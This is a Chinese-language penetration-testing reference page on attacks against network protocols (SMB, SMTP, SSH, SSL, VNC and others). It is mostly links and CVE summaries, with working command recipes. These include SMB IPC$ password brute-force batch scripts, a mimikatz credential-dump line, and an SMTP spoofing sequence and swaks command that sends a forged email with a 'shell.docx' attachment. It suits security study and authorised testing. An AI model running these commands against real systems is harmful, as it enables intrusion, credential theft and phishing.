# Protocol - Exploits

`注:本分类里内容并非全是协议的 bug,部分 "基于、使用" 这个协议的应用所存在的漏洞也算在其中,例如 dns 域传送漏洞,其并非 dns 协议本身的漏洞,为服务部署时的配置问题,但应用与 DNS 相关的业务,故此分类,特此说明`

---

## 免责声明

`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`

---

# 大纲

* [DNS](#dns)
* [ipv6](#ipv6)
* [LDAP](#ldap)
* [RTSP](#rtsp)
* [SMB](#smb)
* [PPTP](#pptp)
* [SMTP](#smtp)
* [SNMP](#snmp)
* [SSH](#ssh)
* [SSL](#ssl)
* [VNC](#vnc)
* [Other](#other)
    * [Ripple20](#ripple20)

---

# DNS

**相关文章**
- [DNS 安全 | Cloudflare](https://www.cloudflare.com/zh-cn/learning/dns/dns-security/)

**笔记**
- [DNS 安全](./笔记/DNS安全.md)

**子域接管漏洞**
- 文章/案例
    - [EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz/)
    - [HackerOne 漏洞案例 | 子域名劫持漏洞的挖掘指南](https://www.freebuf.com/articles/web/183254.html)
    - [A Guide To Subdomain Takeovers | HackerOne](https://www.hackerone.com/blog/Guide-Subdomain-Takeovers)
    - [Subdomain Takeover](https://echocipher.github.io/2019/08/14/Subdomain-takeover/)

- 相关资源
    - [EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)

- 工具
    - [elceef/dnstwist](https://github.com/elceef/dnstwist) - 快速扫描成百上千个可能的域名组合，并提取与域名匹配的 IPv4 或 IPv6 地址

**DNS Rebinding**
- 文章/案例
    - [DNS Rebinding 域名重新绑定攻击技术](https://cloud.tencent.com/developer/article/1400018)
    - [通过 DNS Rebinding 获取访客 QQ 号](https://0x0d.im/archives/get-visitor-qq-number-through-dns-rebinding.html)

**CVE-1999-0532** dns 域传送漏洞
- 文章
    - [DNS域传送漏洞](http://www.lijiejie.com/?s=DNS%E5%9F%9F%E4%BC%A0%E9%80%81%E6%BC%8F%E6%B4%9E)

- POC | Payload | exp
    ```bash
    dig @dns.xxx.edu.cn axfr xxx.edu.cn
    # @ 指定域名服务器;
    # axfr 为域传送指令;
    # xxx.edu.cn 表示要查询的域名;
    ```

---

# ipv6

**文章**
- [浅谈 IPv6 的入侵与防御](https://www.freebuf.com/articles/web/202901.html)
- [“失控”的 IPv6：观察 IPv6 网络环境安全现状](https://paper.seebug.org/1277/)

**工具**
- [vanhauser-thc/thc-ipv6](https://github.com/vanhauser-thc/thc-ipv6) - IPv6 攻击工具箱
- [fgont/ipv6toolkit](https://github.com/fgont/ipv6toolkit) - SI6网络的IPv6工具包

---

# LDAP

**概述**

轻量级目录访问协议，是一种在线目录访问协议，主要用于目录中资源的搜索和查询，是 X.500 的一种简便的实现。

**文章**
- [LDAP注入与防御剖析](http://drops.xmd5.com/static/drops/tips-967.html)
- [初探 LDAP 安全 [ 一 ] ](https://klionsec.github.io/2017/12/20/ldap-sec/)
- [从一次漏洞挖掘入门Ldap注入](https://xz.aliyun.com/t/5689)

---

# RTSP

**概述**

实时流媒体协议（RTSP）是一种网络控制协议，设计用于娱乐和通信系统，以控制流媒体服务器。该协议用于建立和控制终端之间的媒体会话。媒体服务器的客户端发出 VHS 风格的命令，如播放、录制和暂停，以方便实时控制媒体流从服务器到客户端（视频点播）或从客户端到服务器（语音录制）。

流媒体数据的传输本身不是 RTSP 的任务。大多数 RTSP 服务器使用实时传输协议 (RTP) 与实时控制协议 (RTCP) 相结合来传输媒体流。

**暴力破解**
- [Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)

---

# SMB

**文章**
- [SMB协议（445端口）渗透测试](https://mp.weixin.qq.com/s/_SGJWfjHhR3m_Ky31ZGSxQ)

**信息收集**
- MSF 模块
    ```bash
    use auxiliary/scanner/smb/smb_version
    use exploit/multi/samba/usermap_script
    ```

- nmblookup
    ```bash
    nmblookup -A <victim_ip>
    ```

- ngrep
    ```bash
    "ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]'
    smbclient -L \\\\<victim_ip>"
    ```

- nmap脚本
    ```bash
    nmap --script smb-vuln* -p139,445 -T4 -Pn <victim_ip>
    ```

**枚举用户**

- nmap脚本
    ```bash
    nmap --script smb-enum-users.nse -p 445 <目标IP>
    ```

- rpcclient
    ```bash
    rpcclient -U '' <目标IP>
        querydominfo
        enumdomusers
        queryuser <用户名>
    ```

- enum4linux
    ```bash
    enum4linux <目标IP>
    ```

**获取共享**
- smbmap
    ```bash
    smbmap -H  <victim_ip> -R <sharename>
    ```

- smbclient
    ```bash
    echo exit | smbclient -L \\\\$ip
    "smbclient \\\\<victim_ip>\\<share>"
    smbclient -L //<victim_ip> -N
    ```

- nmap
    ```bash
    nmap --script smb-enum-shares -p139,445 -T4 -Pn <victim_ip>
    ```

**空会话**
- smbmap
    ```bash
    smbmap -H <victim_ip>
    ```

- rpcclient
    ```bash
    rpcclient -U "" -N $ip
    ```

- smbclient
    ```bash
    smbclient //<victim_ip>/IPC$ -N
    ```

- enum
    ```bash
    enum -s <victim_ip>
    enum -U <victim_ip>
    enum -P <victim_ip>
    ```

- enum4linux
    ```bash
    enum4linux -a <victim_ip>
    ```

**匿名共享**
- smbclient
    ```bash
    smbclient //$ip/share -U username
    smbclient \\\\<victim_ip>\\<share>
    smbclient //<victim_ip>/<share>
    smbclient //<victim_ip>/<share\ name>
    smbclient //<victim_ip>/<""share name"">
    ```

- rpcclient
    ```bash
    rpcclient -U " " <victim_ip>
    rpcclient -U " " -N <victim_ip>
    ```

**暴力破解**

可以暴力破解来获得目标主机的 smb 访问。
```bash
hydra -L user.txt -P pass.txt 192.168.1.1 smb
```

- IPC 爆破

    ```
    ip.txt 放入要爆破的 IP
    pass.txt 放入爆破的密码
    默认爆破用户：Administrator
    爆破成功的结果，会在 bat 运行的当前目录生成 out.txt
    爆破进度的查询：type log.txt，完成后当前目录生成 end.txt
    ```

    非空连接爆破.bat
    ```bat
    @echo off
    cls
    echo Useage: %0 ip.txt pass.txt
    for /f %%t in (%1) do (
    FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (%2) do (
    echo net use \\%%t\ipc$ "%%i" /user:"localhost\Administrator" >> log.txt
    net use \\%%t\ipc$ "%%i" /user:"localhost\Administrator"  >NUL 2>NUL
    IF NOT errorlevel 1 (
    echo %%i  t:%%t>> out.txt
    net use \\%%t\ipc$ /del
    )
    net use * /del /y >NUL 2>NUL
    )
    )
    echo end >> end.txt
    ```

    空连接爆破.bat
    ```bat
    @echo off
    cls
    echo Useage: %0 ip.txt
    for /f %%t in (%1) do (
    echo net use \\%%t\ipc$ "" /user:"localhost\Administrator" >> log.txt
    net use \\%%t\ipc$ "" /user:"localhost\Administrator"  >NUL 2>NUL
    IF NOT errorlevel 1 (
    echo success:%%t>> out.txt
    net use \\%%t\ipc$ /del
    )
    net use * /del /y >NUL 2>NUL
    )
    echo end >> end.txt
    ```

**利用 NTLM 值破解 SMB**

主要依靠钓鱼,不是很适合在实战中使用,内容见 https://www.hackingarticles.in/4-ways-capture-ntlm-hashes-network/

---

# PPTP

**文章**
- [渗透技巧——PPTP口令的获取与爆破](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-PPTP%E5%8F%A3%E4%BB%A4%E7%9A%84%E8%8E%B7%E5%8F%96%E4%B8%8E%E7%88%86%E7%A0%B4/)

**获得PPTP 口令**

Windows系统拨号和宽带连接的配置信息存储在固定位置，路径如下： `%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk` 查看该文件即可获得 PPTP 连接的配置信息，包括服务器 IP，不包含连接用户名和口令

```
mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```

**windows 命令行下连接 PPTP VPN**
```
rasdial "VPN Connection" username pass

# 关闭连接
rasphone -h "VPN Connection"
```

**kali 连接 PPTP VPN**
```bash
pptpsetup --create vpn --server xx.xx.xx.xx --username username --password pass --encrypt --start

# 将默认路由表修改为远程
route del default
route add default gw xx.xx.xx.xx
```

**暴力破解 PPTP 口令**

- 工具
    - [BlackArch/thc-pptp-bruter](https://github.com/BlackArch/thc-pptp-bruter) - kali 默认自带
        ```
        cat wordlist | thc-pptp-bruter -u username xx.xx.xx.xxx
        ```
    - [pptp_password_hack.py](https://github.com/3gstudent/Homework-of-Python/blob/master/pptp_password_hack.py)

---

# SMTP

**概述**

SMTP 为邮件协讫,默认端口 25.经常用来邮箱伪造,钓鱼攻击.

**文章**
- [SMTP 协议 25 端口渗透测试记录](https://www.sqlsec.com/2017/08/smtp.html)

**邮件检测**
- SPF : http://spf.myisp.ch/
- MX : https://toolbox.googleapps.com/apps/checkmx
- DMARC : https://www.agari.com/insights/tools/DMARC

**枚举用户**
- [SMTP 用户枚举原理简介及相关工具](https://www.freebuf.com/articles/web/182746.html)

```
MAIL FROM   : 指定发件人地址
RCPT TO : 指定单个的邮件接收人;可有多个 RCPT TO;常在 MAIL FROM命令之后
VRFY    : 用于验证指定的用户/邮箱是否存在;由于安全原因,服务器常禁止此命令
EXPN    : 验证给定的邮箱列表是否存在,也常被禁用
```
```
SMTP 返回码
500 	格式错误,命令不可识别(此错误也包括命令行过长)
501 	参数格式错误
502 	命令不可实现
503 	错误的命令序列
504 	命令参数不可实现
211 	系统状态或系统帮助响应
214 	帮助信息
220 	服务就绪
221 	服务关闭传输信道
421 	服务未就绪,关闭传输信道(当必须关闭时,此应答可以作为对任何命令的响应)
250 	要求的邮件操作完成
251 	用户非本地,将转发向
450 	要求的邮件操作未完成,邮箱不可用(例如,邮箱忙)
550 	要求的邮件操作未完成,邮箱不可用(例如,邮箱未找到,或不可访问)
451 	放弃要求的操作;处理过程中出错
551 	用户非本地,请尝试
452 	系统存储不足,要求的操作未执行
552 	过量的存储分配,要求的操作未执行
553 	邮箱名不可用,要求的操作未执行(例如邮箱格式错误)
354 	开始邮件输入,以.结束
554 	操作失败
535 	用户验证失败
235 	用户验证成功
334 	等待用户输入验证信息
```

可以通过 Telnet 连接,在未禁用上述 SMTP 命令的服务器上,使用上述命令手动枚举用户名.
```
$ telnet xxx.xxx.xxx.xxx 25
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
220 mxt.xxx.xxx.cn ESMTP Postfix
VRFY root
252 2.0.0 root
VRFY bin
252 2.0.0 bin
VRFY admin
550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table

$ telnet xxx.xxx.xxx.xxx 25
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
220 mxt.xxx.xxx.cn ESMTP Postfix
MAIL FROM:root
250 2.1.0 Ok
RCPT TO:root
250 2.1.5 Ok
RCPT TO:bin
250 2.1.5 Ok
RCPT TO:admin
550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table
```
可以看到两种方式均返回 root、bin 用户是存在的,admin 用户不存在.

- smtp-user-enum - kali 自带
    ```bash
    smtp-user-enum -M VRFY -u root -t xxx.xxx.xxx.xxx
    smtp-user-enum -M RCPT -u bin -t xxx.xxx.xxx.xxx
    smtp-user-enum -M EXPN -u bin -t xxx.xxx.xxx.xxx
    ```

- MSF 模块
    ```bash
    use auxiliary/scanner/smtp/smtp_enum
    set rhosts xxx.xxx.xxx.xxx
    run
    ```

- smtp-enum-users - nmap 脚本
    ```bash
    nmap -p 25 --script smtp-enum-users.nse xxx.xxx.xxx.xxx
    ```

**邮件伪造**
- 文章
    - [关于伪造邮件的简单研究](https://hex.moe/p/4878b295/)

- 简单方法
    ```
    telnet xxx.xxx.xxx.xxx 25
    HELO xxxx.com   # 向邮件服务器提供连接的域名,也就是邮件将从哪台服务器发来.
    MAIL FROM:admin@xxxx.com  # 伪造管理员身份来发邮件
    RCPT TO:admin@xxxxx.com # 验证邮件地址是否存在.如果查询的是一个真实的 Email 地址,邮件服务器就会返回250状态码.验证邮箱存在的话,还可以给这个接受者邮箱发送邮件.
    DATA    # 使用DATA命令来伪造邮箱内容,客户端告诉服务器自己准备发送邮件正文
    354 go ahead, end data with CRLF.CRLF   # 服务器返回354,表示自己已经作好接受邮件的准备
    "这是一个邮件伪造测试"  # 用英文状态的双引号来修饰正文,正文结束后,发送结束符.表明正文的结束.
    .
    QUIT
    ```

- **swaks**

    Swaks 的全称是 Swiss Army Knife SMTP(SMTP 界的瑞士军刀),用于测试 SMTP 协议的各种操作.

    kali 自带
    ```bash
    swaks
    ```

    配合 https://support.smtp2go.com/hc/en-gb
    ```bash
    swaks --to 目标@qq.com --from info@smtp2go.com\
    --header-X-Mailer SMTP  --ehlo root@163.com --body 'test'\
    --server mail.smtp2go.com -p 2525 -au 账号 -ap 密码 \
    --attach /shell.docx --header "Subject:test" \
    --h-From: 'test<root@163.com>'
    ```

---

# SNMP

**文章**
- [SNMP 协议攻击](https://xz.aliyun.com/t/1562)
- [渗透测试中如何收集利用 SNMP 协议数据](https://www.freebuf.com/articles/network/104522.html)

**工具**
- [trailofbits/onesixtyone](https://github.com/trailofbits/onesixtyone) - SNMP 扫描器是一个程序，它向多个 IP 地址发送 SNMP 请求，尝试不同的团体字符串并等待回复。
- [dark-lbp/snmp_fuzzer](https://github.com/dark-lbp/snmp_fuzzer) - 检测工控设备 SNMP 问题的工具

**snmp 弱口令**
- 文章
    - [烂泥:使用 snmpwalk 采集设备的 OID 信息](https://www.ilanni.com/?p=8408)
    - [snmp 弱口令引起的信息泄漏](http://drops.xmd5.com/static/drops/tips-409.html)

- 利用

    安装 `yum -y install net-snmp-utils`

    Usage
    ```bash
    snmpwalk -v 2c -c public 192.168.xxx.xxx
    snmp-check 192.168.xxx.xxx -c public -v 2c
    ```

---

# SSH

**文章**
- [SSH Pentesting Guide](https://community.turgensec.com/ssh-hacking-guide/)

**工具**
- [arthepsy/ssh-audit](https://github.com/arthepsy/ssh-audit) - SSH服务器审计（banner、密钥交换、加密、mac、压缩、兼容性、安全性等）

**版本扫描**
```bash
use auxiliary/fuzzers/ssh/ssh_version_2
set RHOSTS [ip]
run
```

**libSSH**

- **CVE-2018-10933 libSSH 认证绕过漏洞**

    - 概述

        libssh版本0.6及更高版本在服务端代码中具有身份验证绕过漏洞。 通过向服务端提供SSH2_MSG_USERAUTH_SUCCESS消息来代替服务端期望启动身份验证的 SSH2_MSG_USERAUTH_REQUEST消息，攻击者可以在没有任何凭据的情况下成功进行身份验证。 进而可以进行一些恶意操作。

    - 文章
        - [libSSH 认证绕过漏洞(CVE-2018-10933)分析](https://paper.seebug.org/720/)
        - [libssh CVE-2018-10933 身份验证绕过漏洞分析报告](https://www.anquanke.com/post/id/162225)

    - POC | Payload | exp
        - [blacknbunny/CVE-2018-10933](https://github.com/blacknbunny/CVE-2018-10933)
        - [leapsecurity/libssh-scanner](https://github.com/leapsecurity/libssh-scanner)

**OpenSSH**

OpenSSH（OpenBSD Secure Shell）是 OpenBSD 计划组的一套用于安全访问远程计算机的连接工具。该工具是 SSH 协议的开源实现，支持对所有的传输进行加密，可有效阻止窃听、连接劫持以及其他网络级的攻击。

- **CVE-2015-5600 Openssh MaxAuthTries限制绕过漏洞**

    - 概述

        OpenSSH 6.9及之前版本的sshd中的auth2-chall.c文件中的‘kbdint_next_device’函数存在安全漏洞，该漏洞源于程序没有正确限制处理单链接中的keyboard-interactive设备。远程攻击者可借助ssh -oKbdInteractiveDevices选项中较长且重复的列表利用该漏洞实施暴力破解攻击，或造成拒绝服务（CPU消耗）。

    - 文章
        - [Openssh MaxAuthTries限制绕过漏洞(CVE-2015-5600)的研究与验证](http://tinyfisher.github.io/security/2016/06/06/CVE_2015_5600)

- **CVE-2018-15473 OpenSSH 用户枚举漏洞**
    - 概述

        OpenSSH 7.7 及之前版本中存在信息泄露漏洞。该漏洞源于网络系统或产品在运行过程中存在配置等错误。未授权的攻击者可利用漏洞获取受影响组件敏感信息。

    - 影响范围
        - OpenSSH 7.7及其以前版本

    - 文章
        - [OpenSSH用户枚举漏洞(CVE-2018-15473)分析](https://www.anquanke.com/post/id/157607)
        - [SSH用户枚举漏洞(CVE-2018-15473)原理学习](https://www.cnblogs.com/KevinGeorge/p/9530835.html)

    - POC | Payload | exp
        - [trimstray/massh-enum](https://github.com/trimstray/massh-enum)
        - [Rhynorater/CVE-2018-15473-Exploit](https://github.com/Rhynorater/CVE-2018-15473-Exploit)

    - MSF 模块
        ```bash
        use auxiliary/scanner/ssh/ssh_enumusers
        set rhosts [ip]
        set USER_FILE [aaa.txt]
        run
        ```

---

# SSL

**文章**
- [SSL＆TLS 安全性测试](https://www.mottoin.com/detail/1214.html)
- [Security/Server Side TLS](https://wiki.mozilla.org/Security/Server_Side_TLS)

**工具**
- [MassBleed](https://github.com/1N3/MassBleed) - SSL 漏洞扫描器
- [sslscan](https://github.com/rbsec/sslscan) - 测试启用SSL/TLS的服务，以发现支持的密码套件。
- [testssl](https://github.com/drwetter/testssl.sh) - 在任何端口的任何地方测试 TLS/SSL 加密
- [coroner/cryptolyzer](https://gitlab.com/coroner/cryptolyzer) - 适用于 Python 2.7/3.4 以上的服务器加密（TLS/SSL）设置分析库

**CVE-2014-3566 SSL 3.0 POODLE 攻击信息泄露漏洞**
- 简介

    SSL protocol 是美国网景（Netscape）公司研发的安全套接层协议（Secure Socket Layer）的缩写，为互联网通信提供安全及数据完整性保障。

    OpenSSL 1.0.1i 及之前版本中使用的 SSL protocol 3.0 版本中存在安全漏洞，该漏洞源于程序使用非确定性的 CBC 填充。攻击者可借助 padding-oracle 攻击利用该漏洞实施中间人攻击，获取明文数据。

- 文章
    - [CVE-2014-3566 SSLv3 POODLE 原理分析](http://drops.xmd5.com/static/drops/papers-3194.html)

- POC | Payload | exp
    - [mpgn/poodle-PoC](https://github.com/mpgn/poodle-PoC)

- MSF 模块
    ```
    use auxiliary/scanner/http/ssl_version
    ```

**OpenSSL**
- **CVE-2014-0160 Heartbleed**
    - 简介

        OpenSSL 是 OpenSSL 团队开发的一个开源的能够实现安全套接层（SSL v2/v3）和安全传输层（TLS v1）协议的通用加密库，它支持多种加密算法，包括对称密码、哈希算法、安全散列算法等。

        OpenSSL 的 TLS 和 DTLS 实现过程中的 d1_both.c 和 t1_lib.c 文件中存在安全漏洞，该漏洞源于当处理 Heartbeat Extension 数据包时，缺少边界检查。远程攻击者可借助特制的数据包利用该漏洞读取服务器内存中的敏感信息(如用户名、密码、Cookie、私钥等)。以下版本的 OpenSSL 受到影响：1.0.1，1.0.1：beta1，1.0.1：beta2，1.0.1：beta3，1.0.1a，1.0.1b，1.0.1c，1.0.1d，1.0.1e，1.0.1f。

    - 文章
        - [心脏滴血 HeartBleed 漏洞研究及其 POC](https://www.cnblogs.com/KevinGeorge/p/8029947.html)
        - [OpenSSL 心脏出血漏洞全回顾](https://www.freebuf.com/articles/network/32171.html)
        - [Heartbleed 实战:一个影响无数网站的缓冲区溢出漏洞](https://onebitbug.me/reproduced/2014/04/09/heartbleed-poc/)
        - [Heartbleed 漏洞的复现与利用](https://blog.csdn.net/biziwaiwai/article/details/79323334)
        - [Heartbleed 心脏出血漏洞靶场搭建](https://blog.csdn.net/yaofeino1/article/details/54377537)

    - 复现实验
        - [CVE-2014-0160-Heartbleed复现](../../安全资源/漏洞复现/CVE-2014-0160-Heartbleed复现.md)

    - POC | Payload | exp
        - [OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure](https://www.exploit-db.com/exploits/32745)
        - 单行命令批量检测
            ```
            cat list.txt | while read line ; do echo "QUIT" | openssl s_client -connect $line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line: safe; done
            ```

---

# UPNP

**工具**
- [nccgroup/UPnP-Pentest-Toolkit](https://github.com/nccgroup/UPnP-Pentest-Toolkit)

**CVE-2020-12695**
- POC | Payload | exp
    - [yunuscadirci/CallStranger](https://github.com/yunuscadirci/CallStranger)

---

# VNC

**文章**
- [VNC攻击](https://b404.xyz/2017/10/16/attack-vnc/)

**未授权访问漏洞**
- 概述

    VNC 是虚拟网络控制台 Virtual Network Console 的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司 AT&T 的欧洲研究实验室开发。VNC 是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制 target 主机。

- [vncviewer](https://www.realvnc.com/en/connect/download/viewer/)
    ```bash
    # kali 自带
    vncviewer [ip]
    ```

- MSF 模块
    ```bash
    use auxiliary/scanner/vnc/vnc_none_auth
    set rhosts [ip]
    set threads 50
    run
    ```

**暴力破解**
- MSF 模块
    ```bash
    use auxiliary/scanner/vnc/vnc_login
    set RHOSTS [ip]
    set RPORT [port]
    set pass_file /root/Desktop/pass.txt
    run
    ```

**密码破解**
- 相关文章
    - [破解vnc密码](https://blog.51cto.com/darren/587007)

- 相关工具
    - [k8vncpwd](https://github.com/k8gege/K8tools/blob/master/k8vncpwd.exe)
    - [K8fuckVNC](https://github.com/k8gege/K8tools/blob/master/K8fuckVNC.rar)

---

# Other

## Ripple20

**概述**

国外安全研究人员在由 Treck 开发的 TCP/IP 协议栈中发现了多个漏洞，这一系列漏洞统称为 Ripple20。这些漏洞广泛存在于嵌入式和物联网设备中，影响了多个行业领域（包括医疗、运输、能源、电信、工业控制、零售和商业等），涉及了众多供应商（包括 HP、Schneider Electric、Intel、Rockwell Automation、Caterpillar、Baxter 等）。

这些漏洞源于 Ripple20 的多个协议（包括 IPv4、ICMPv4、IPv6、IPv6OverIPv4、TCP、UDP、ARP、DHCP、DNS 或以太网链路层）在处理网络报文发送时存在缺陷，其中包括四个严重漏洞，它们的 CVE 编号分别为 CVE-2020-11896、CVE-2020-11898、CVE-2020-11910、CVE-2020-11911。CVE-2020-11896（CVSS 评分 10）可导致远程执行代码，CVE-2020-11897（CVSS 评分 10）可导致越界写入，CVE-2020-11901（CVSS 评分 9）可导致远程执行代码，CVE-2020-11898（CVSS 评分 9.1）可导致泄露敏感信息。其它 15 个 Ripple20 漏洞的严重程度各异，CVSS 评分分别从 3.1 到 8.2。

**相关文章**
- [Ripple20：Treck TCP/IP协议栈漏洞分析与验证（附视频）](https://paper.seebug.org/1262/)
- [关于 CVE-2020-11896和CVE-2020-11898 的学习笔记](https://bestwing.me/Ripple20-overview.html)
- [Treck TCP/IP协议库“Ripple20”漏洞分析及解决方案](https://mp.weixin.qq.com/s/njG6V6y4OdpGJWZ8UCTMGg)

**相关资源**
- [corelight/ripple20](https://github.com/corelight/ripple20) - 用于检测 Ripple20 漏洞的 Zeek 脚本

**POC | Payload | exp**
- [jiansiting/ripple20-poc](https://github.com/jiansiting/ripple20-poc)

## AMNESIA33

**概述**

近期，国外安全研究人员在多个被广泛使用的开源 TCP/IP 协议栈发现了多个漏洞，这一系列漏洞统称为 AMNESIA33。这些漏洞广泛存在于嵌入式和物联网设备中，影响了多个行业领域（包括医疗、运输、能源、电信、工业控制、零售和商业等），目前已知范围内涉及了超 150 家供应商以及数以百万计的设备。与 URGEN11 和 Ripple20 不同的是，AMNESIA33 影响的是多个开源 TCP/IP 协议栈，因此这些漏洞可以悄无声息地影响到无数个代码库、开发团队与各个公司的产品。目前已知的漏洞涉及到了智能家居、工厂 PLC、SCADA 设备与工控交换机，电力监控等设备。

这些漏洞存在于 uIP、FNET、picoTCP 和 Nut/Net 等开源协议栈上，影响 TCP/IP 协议栈的多个组件，包括 DNS、IPv6、IPv4、TCP、ICMP、LLMNR 和 mDNS 等。其中包括多个严重漏洞，它们的 CVE 编号分别为 CVE-2020-17437、CVE-2020-17443、CVE-2020-24338、CVE-2020-24336、CVE-2020-25111。

CVE-2020-17437（CVSS 评分 8.2）、CVE-2020-17443（CVSS 评分 8.2）可导致设备拒绝服务。CVE-2020-24338、CVE-2020-24336、CVE-2020-25111（这三个 CVSS 评分均为 9.8）都可导致远程代码执行 (RCE)。其它 28 个漏洞的严重程度各异，CVSS 评分分别从 4 到 8.2。

由于 IoT、OT、IT 设备供应链的特性，漏洞影响的设备众多，影响范围广且持续时间长，漏洞修复的实施较困难。同时，由于 uIP、picoTCP 开源协议栈已经不再维护，所以部分漏洞没有补丁，很多产品只能寻找替代技术方案或者是增加防范措施。

**相关文章**
- [AMNESIA33：开源TCP/IP协议栈系列漏洞分析与验证](https://mp.weixin.qq.com/s/UWeFBK3E1Zs4cTcMl4UU3A)
